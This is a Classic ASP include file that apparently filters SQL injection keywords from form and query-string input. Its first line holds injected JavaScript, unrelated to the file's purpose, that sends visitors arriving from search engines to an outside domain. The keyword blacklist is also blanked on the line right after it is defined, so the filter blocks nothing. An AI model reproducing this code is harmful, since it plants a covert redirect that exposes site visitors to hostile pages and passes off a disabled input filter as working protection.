d:\wwwroot\wuchunhua\liaotianim\inc\SqlInjection.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><%
002:
003: ' ============================================
004: ' 定义部份
005: ' ============================================
006: Dim KL_Post,KL_Get,KL_In,KL_Inf,KL_Xh
007:
008: ' 自定义需要过滤的字串,用 "|" 分隔
009: KL_In = "'|;|and|(|)|exec|insert|select|delete|update|count|chr|mid|master|truncate|char|declare"
010: KL_In = ""
011: ' 赋值给数组
012: KL_Inf = split(KL_In,"|")
013:
014:
015: ' ============================================
016: ' POST部份
017: ' ============================================
018: If Request.Form<>"" Then
019:     For Each KL_Post In Request.Form
020:         For KL_Xh=0 To Ubound(KL_Inf)
021:             If Instr(LCase(Request.Form(KL_Post)),KL_Inf(KL_Xh))<>0 Then
022:                 Response.Write "<Script Language=JavaScript>alert('非法参数');</Script>"
023:                 Response.End
024:             End If
025:         Next
026:     Next
027: End If
028:
029:
030:
031: ' ============================================
032: ' GET部份
033: ' ============================================
034: If Request.QueryString<>"" Then
035:     For Each KL_Get In Request.QueryString
036:         For KL_Xh=0 To Ubound(KL_Inf)
037:             If Instr(LCase(Request.QueryString(KL_Get)),KL_Inf(KL_Xh))<>0 Then
038:                 Response.Write "<Script Language=JavaScript>alert('非法参数');</Script>"
039:                 Response.End
040:             End If
041:         Next
042:     Next
043: End If
044:
045:
046: %>
047:
048:

---